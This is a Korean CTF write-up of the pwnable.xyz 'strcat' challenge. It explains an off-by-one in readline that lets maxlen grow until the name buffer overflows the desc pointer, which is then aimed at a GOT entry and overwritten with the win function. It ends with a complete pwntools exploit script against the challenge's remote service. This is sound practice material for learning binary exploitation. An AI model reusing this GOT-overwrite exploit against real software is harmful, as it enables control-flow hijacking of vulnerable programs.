[pwnable.xyz]strcat

Canary, PIE가 안걸려있다.

[*] '/vagrant/ctfs/challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

바이너리는 3개 메뉴로 되어있다. concat, edit, print 으로 되어있다.

concat메뉴는 maxlen-strlen(name) 만큼 입력받고 maxlen에서 readline 리턴 값만큼 빼준다.

edit메뉴는 desc 힙영역에 값 수정할 수 있다.

print메뉴에서는 fsb가 터진다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  signed __int64 v3; // rsi
  char *v4; // rdi
  int v5; // eax
  int v6; // ebx
  unsigned int v7; // ebx

  setup();
  puts("My strcat");
  maxlen = 128;
  printf("Name: ", argv);
  maxlen -= readline(name, 128);
  desc = malloc(32uLL);
  printf("Desc: ", 128LL);
  v3 = 32LL;
  v4 = desc;
  readline(desc, 32);
  while ( 1 )
  {
    print_menu(v4, v3);
    printf("> ");
    v5 = read_int32();
    switch ( v5 )
    {
      case 2:                                   // edit
        printf("Desc: ");
        v3 = 32LL;
        v4 = desc;
        readline(desc, 32);
        break;
      case 3:                                   // print
        printf(name);
        printf(desc);
        v4 = '\n';
        putchar('\n');
        break;
      case 1:                                   // concat
        printf("Name: ");
        v6 = maxlen;
        v7 = v6 - strlen(name);
        v3 = v7;
        v4 = &name[strlen(name)];
        maxlen -= readline(v4, v7);
        break;
      default:
        v4 = "Invalid";
        puts("Invalid");
        break;
    }
  }
}

readline 함수인데 리턴을 strlen(name) - 1을 해준다.

__int64 __fastcall readline(void *a1, int a2)
{
  int v2; // eax

  read(0, a1, a2);
  v2 = strlen(name);
  *(a1 + v2 - 1) = 0;
  return (v2 - 1);
}

이를 이용해서 풀 수 있다. strlen(name) -1을 해줘서 리턴하는데 만약 1번 메뉴에서 maxlen -= readline() 해주는데 strlen(name)의 길이가 0이면 readline 리턴이 -1이니까 maxlen을 계속 늘려줄 수 있다.

maxlen 0x0000000000602280 (32)
name 0x00000000006022A0 (128)
desc 0x0000000000602320

bss 영역이 이렇게 있고 maxlen이 128인데 maxlen을 늘려서 desc를 덮을 수 있다. 그리고 desc에는 힙 영역을 가르키고 있으므로 이 영역을 함수 got로 덮고 edit 메뉴에서 이 got를 win함수로 덮어주면 된다

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
p = remote('svc.pwnable.xyz',30013)
sla = lambda x,y : p.sendlineafter(x,y)
sa = lambda x,y : p.sendafter(x,y)
win = e.symbols['win']
maxlen = 0x0000000000602280
name = 0x00000000006022A0
desc = 0x0000000000602320
puts_got = 0x602028

sa(':','A') # Name
sa(':','B') # Desc

for i in range(20):
	sa('>','1')
	sa(':','\x00')

sa('>','1')
sa(':','A'*128+'\x20\x20\x60\x20') # 0000000000602020 R_X86_64_JUMP_SLOT  putchar@GLIBC_2.2.5

sa('>','2')
sa(':',p64(win)) # putcahr@got -> win
# raw_input()

sa('>','3') 

p.interactive()